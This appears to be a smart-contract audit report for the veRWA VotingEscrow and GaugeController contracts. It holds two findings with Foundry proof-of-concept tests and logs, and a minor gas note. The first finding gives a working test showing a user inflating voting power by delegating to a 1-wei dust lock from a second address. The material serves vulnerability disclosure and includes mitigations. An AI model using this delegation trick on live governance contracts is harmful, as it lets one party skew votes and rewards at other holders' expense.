veRWA - oakcobalt's results

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/VotingEscrow.sol#L370

Vulnerability details

Impact

A user's voting power by design decays over time. However, a malicious user can easily bypass the decay and drastically increases their voting power by simply using another account to create a dust lock and delegate to the dust lock.

I think this is high severity due to easy and cheap manipulation.

Proof of Concept

In VotingEscrow.sol delegate(), when a user delegates to another user's lock, the amount of their lock will be added to the other user's lock but the delegatee gets to keep their own lock expiration time toLock.end.

//VotingEscrow.sol
   function delegate(address _addr) external nonReentrant {
        LockedBalance memory locked_ = locked[msg.sender];
        // Validate inputs
        require(locked_.amount > 0, "No lock");
        require(locked_.delegatee != _addr, "Already delegated");
        // Update locks
        int128 value = locked_.amount;
        address delegatee = locked_.delegatee;
        LockedBalance memory fromLocked;
        LockedBalance memory toLocked;
        locked_.delegatee = _addr;
        if (delegatee == msg.sender) {
            // Delegate
            fromLocked = locked_;
 |>         toLocked = locked[_addr];
...
        require(toLocked.end >= fromLocked.end, "Only delegate to longer lock");
        _delegate(delegatee, fromLocked, value, LockAction.UNDELEGATE);
        _delegate(_addr, toLocked, value, LockAction.DELEGATE);
}
    function _delegate(
        address addr,
        LockedBalance memory _locked,
        int128 value,
        LockAction action
    ) internal {
|>       LockedBalance memory newLocked = _copyLock(_locked);
        if (action == LockAction.DELEGATE) {
|>          newLocked.delegated += value;
            emit Deposit(addr, uint256(int256(value)), newLocked.end, action, block.timestamp);
        } else {

Because toLock.end doesn't change, this effectively means that with the same amount of delegated token, delegatee will have drastically more voting power compared to the owner if the delegatee's lock expired further down in the future. In addition, there is no minimum value to create a lock. So this allows an attack vector where a malicious user can simply create a new lock with a different address and deposit a dust amount. Then they can simply delegate their dust lock to have more voting power and vote from their dust lock account.

See POC here: (1) user1 creates a lock with 1000 ether locked. (2) 3 years passed their voting power decayed. (3) To counter the decay, user1 creates a dust lock with 1 wei, by using another address (user2) that they managed. (4) user1 delegated to user2 address. (5) user1 votes for gauge1's weight from the user 2 account they own and take advantage of drastically increased voting power.

Test code is added in GaugeController.t.sol. There are two test cases as a comparison: Test case 1: user1 vote for gauge1 after 3 years with their decayed voting power; Test case 2: user1 creates user2 duct lock with 1 wei. user1 delegate to user2 and vote for gauge1 from user2 account.

//GaugeController.t.sol
//Test case 1
    function testUserVoteAfter3YearsWithoutDelegate() public {
        vm.startPrank(gov);
        gc.add_gauge(gauge1);
        gc.add_gauge(gauge2);
        gc.change_gauge_weight(gauge1, 100);
        gc.change_gauge_weight(gauge2, 100);
        vm.stopPrank();

        vm.deal(user1, 1010 ether);
        //user1 create lock
        vm.prank(user1);
        ve.createLock{value: 1000 ether}(1000 ether);
        uint256[3] memory weights = [uint256(8000), 2000, 100];
        vm.warp(block.timestamp + 1 weeks);
        vm.startPrank(user1);
        gc.vote_for_gauge_weights(gauge1, weights[0]);
        gc.vote_for_gauge_weights(gauge2, weights[1]);
        vm.warp(block.timestamp + 1 weeks);
        gc.checkpoint_gauge(gauge1);
        gc.checkpoint_gauge(gauge2);
        vm.stopPrank();
        //3 years past
        vm.warp(block.timestamp + 1000 days);
        ve.checkpoint();
        console.log(
            "user1 balance without delegate:",
            ve.balanceOfAt(user1, block.number)
        );
        //user1 vote
        vm.startPrank(user1);
        gc.vote_for_gauge_weights(gauge1, weights[2]);
        vm.stopPrank();
        vm.warp(block.timestamp + 1.5 weeks);
        gc.checkpoint_gauge(gauge1);
        gc.checkpoint_gauge(gauge2);
        console.log(
            "gauge1 weight without delegate:",
            gc.gauge_relative_weight_write(gauge1, block.timestamp)
        );
        console.log(
            "gauge2 weight without delegate:",
            gc.gauge_relative_weight_write(gauge2, block.timestamp)
        );
    }

//Test case 2

    function testMaliciousUserVoteAfter3YearsDelegateDustAccount() public {
        vm.startPrank(gov);
        gc.add_gauge(gauge1);
        gc.add_gauge(gauge2);
        gc.change_gauge_weight(gauge1, 100);
        gc.change_gauge_weight(gauge2, 100);
        vm.stopPrank();
        vm.deal(user1, 1010 ether);
        //user1 create lock
        vm.prank(user1);
        ve.createLock{value: 1000 ether}(1000 ether);
        uint256[3] memory weights = [uint256(8000), 2000, 100];
        vm.warp(block.timestamp + 1 weeks);
        vm.startPrank(user1);
        gc.vote_for_gauge_weights(gauge1, weights[0]);
        gc.vote_for_gauge_weights(gauge2, weights[1]);
        vm.warp(block.timestamp + 1 weeks);
        gc.checkpoint_gauge(gauge1);
        gc.checkpoint_gauge(gauge2);
        vm.stopPrank();
        //3 years past
        vm.warp(block.timestamp + 1000 days);
        ve.checkpoint();
        console.log(
            "user1 balance after 3 years before delegate:",
            ve.balanceOfAt(user1, block.number)
        );
        vm.prank(user2);
        ve.createLock{value: 1}(1);
        vm.warp(block.timestamp + 1 weeks);
        console.log(
            "user2 balance before user1 delegate:",
            ve.balanceOfAt(user2, block.number)
        );
        vm.prank(user1);
        ve.delegate(user2);
        ve.checkpoint();
        console.log(
            "user2 balance after user1 delegate:",
            ve.balanceOfAt(user2, block.number)
        );
        vm.warp(block.timestamp + 1 weeks);
        vm.prank(user2);
        gc.vote_for_gauge_weights(gauge1, weights[2]);
        gc.checkpoint_gauge(gauge1);
        gc.checkpoint_gauge(gauge2);
        console.log(
            "gauge1 weight after delegate:",
            gc.gauge_relative_weight_write(gauge1, block.timestamp)
        );
        console.log(
            "gauge2 weight after delegate:",
            gc.gauge_relative_weight_write(gauge2, block.timestamp)
        );
    }

See results here:

[PASS] testUserVoteAfter3YearsWithoutDelegate() (gas: 31544701)
Logs:
  user1 balance without delegate: 441643829274416080048
  gauge1 weight without delegate: 47619047618690069
  gauge2 weight without delegate: 952380952381309930

[PASS] testMaliciousUserVoteAfter3YearsDelegateDustAccount() (gas: 32330461)
Logs:
  user1 balance after 3 years before delegate: 441643829274416080048
  user2 balance before user1 delegate: 0
  user2 balance after user1 delegate: 993972596397623862448
  gauge1 weight after delegate: 800000000000031535
  gauge2 weight after delegate: 199999999999968464

Tools Used

Manual Review Foundry

Recommended Mitigation Steps

Consider preventing dust amount locks to be created in VotingEscrow.sol;

Assessed type

Governance

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/498a3004d577c8c5d0c71bff99ea3a7907b5ec23/src/GaugeController.sol#L93

Vulnerability details

Impact

https://discord.com/channels/810916927919620096/1136715595342172222/1138933047123783740

This is the intended procedure based on Sponsor's answer in discord:

Q:
when we add new gauge we don't set any weight point or any data for it, did the new gauge will get the weight and power by time when users vote for it ?!
A:
Yes, the idea is that they originally have a weight 0 and this increases as soon as people vote for it

Based on the above, the expected procedure is that all gauges' weight start from the default 0, which means the governance doesn't need to pre-set a gauge to any weight value before user voting on the gauge weights.

However, the current GaugeController.sol implementation will not behave properly - gauge weights that users voted for will not be updated properly if governance does not set a base weight for each gauge ahead of any user voting.

Proof of Concept

A user will vote for a gauge weight through vote_for_gauge_weights(), this function will write to storage and schedule gauge change for the coming round week - next_time, which is working as intended.

However, when the coming week has passed, the gauge weight user voted will stop updating and erase its own weight back to 0. The weight user voted for will always be erased after one week. This is not intended.

The vulnerability is that when a new checkpoint is created through checkpoint_gauge(), it calls _get_weight(). In _get_weight(), time_weight[_gauge_addr] will be first accessed. But time_weight[_gauge_addr] will always be 0, if the governance doesn't set a gauge weight beforehand. This means, _get_weight() logic will be directly bypassed with the statement if(t>0) and return the weight as 0. And because of the bypass, no new points_weight[_gauge_addr][t] will be written.

//GaugeController.sol
    function checkpoint_gauge(address _gauge) external {
        _get_weight(_gauge);
        _get_sum();
    }

    function _get_weight(address _gauge_addr) private returns (uint256) {
 |>     uint256 t = time_weight[_gauge_addr];
 |>     if (t > 0) {
            Point memory pt = points_weight[_gauge_addr][t];
            for (uint256 i; i < 500; ++i) {
                if (t > block.timestamp) break;
                t += WEEK;
                uint256 d_bias = pt.slope * WEEK;
                if (pt.bias > d_bias) {
                    pt.bias -= d_bias;
                    uint256 d_slope = changes_weight[_gauge_addr][t];
                    pt.slope -= d_slope;
                } else {
                    pt.bias = 0;
                    pt.slope = 0;
                }
                points_weight[_gauge_addr][t] = pt;
                if (t > block.timestamp) time_weight[_gauge_addr] = t;
            }
            return pt.bias;
        } else {
            return 0;
        }
    }

See POC: (1) user1 vote for gauge1 and gauge2. (2) After 1 week, gauge1 and gauge2 weights are updated correctly. (3) After 2 weeks,gauge1 and gauge2 weights are erased to 0. (4) After 3 weeks,gauge1 and gauge2 weights are still 0.

See test code below added in GaugeController.t.sol.

 function testGaugeWeightErasesAfterOneWeek() public {
        vm.startPrank(gov);
        gc.add_gauge(gauge1);
        gc.add_gauge(gauge2);
        vm.stopPrank();
        vm.deal(user1, 1010 ether);
        //user1 create lock
        vm.prank(user1);
        ve.createLock{value: 1000 ether}(1000 ether);
        uint256[3] memory weights = [uint256(8000), 2000, 100];
        vm.warp(block.timestamp + 1 weeks);
        vm.startPrank(user1);
        gc.vote_for_gauge_weights(gauge1, weights[0]);
        gc.vote_for_gauge_weights(gauge2, weights[1]);
        // first week
        vm.warp(block.timestamp + 1 weeks);
        gc.checkpoint_gauge(gauge1);
        gc.checkpoint_gauge(gauge2);
        console.log(
            "gauge1 weight after 1 week:",
            gc.gauge_relative_weight(gauge1, block.timestamp)
        );
        console.log(
            "gauge2 weight after 1 week:",
            gc.gauge_relative_weight(gauge2, block.timestamp)
        );
        // second week
        vm.warp(block.timestamp + 1 weeks);
        gc.checkpoint_gauge(gauge1);
        gc.checkpoint_gauge(gauge2);
        console.log(
            "gauge1 weight after 2 week:",
            gc.gauge_relative_weight(gauge1, block.timestamp)
        );
        console.log(
            "gauge2 weight after 2 week:",
            gc.gauge_relative_weight(gauge2, block.timestamp)
        );
        assertEq(gc.gauge_relative_weight(gauge1, block.timestamp), 0);
        assertEq(gc.gauge_relative_weight(gauge2, block.timestamp), 0);
        // third week
        vm.warp(block.timestamp + 1 weeks);
        gc.checkpoint_gauge(gauge1);
        gc.checkpoint_gauge(gauge2);
        console.log(
            "gauge1 weight after 3 week:",
            gc.gauge_relative_weight(gauge1, block.timestamp)
        );
        console.log(
            "gauge2 weight after 3 week:",
            gc.gauge_relative_weight(gauge2, block.timestamp)
        );
        assertEq(gc.gauge_relative_weight(gauge1, block.timestamp), 0);
        assertEq(gc.gauge_relative_weight(gauge2, block.timestamp), 0);
    }

See test results here:

[PASS] testGaugeWeightErasesAfterOneWeek() (gas: 1030926)
Logs:
  gauge1 weight after 1 week: 800000000000031536
  gauge2 weight after 1 week: 199999999999968463
  gauge1 weight after 2 week: 0
  gauge2 weight after 2 week: 0
  gauge1 weight after 3 week: 0
  gauge2 weight after 3 week: 0

Tools Used

Manual review foundry

Recommended Mitigation Steps

(1) Either enforce that the governance will set a base weight for each gauge before any user voting process. (2) Or inside _get_weight() add a bypass for t==0 to allow points_weight to be written.

Assessed type

Governance

Low- 1. Unnecessary condition in _checkpoint()

In VotingEscrow.sol _checkpoint(), there is a if statement for uEpoch==0 this code is not needed. This is because user history will start from uEpoch + 1. When uEpoch==0, userOldPoint will be 0. And there is no need to write to storge a zero value, and then re-write it in the same function after.

//VotingEscrow.sol - _checkpoint()
...
            uint256 uEpoch = userPointEpoch[_addr];
|>          if (uEpoch == 0) {
                userPointHistory[_addr][uEpoch + 1] = userOldPoint;
            }

            userPointEpoch[_addr] = uEpoch + 1;
            userNewPoint.ts = block.timestamp;
            userNewPoint.blk = block.number;
            userPointHistory[_addr][uEpoch + 1] = userNewPoint;

Recommendation: Delete the if statement.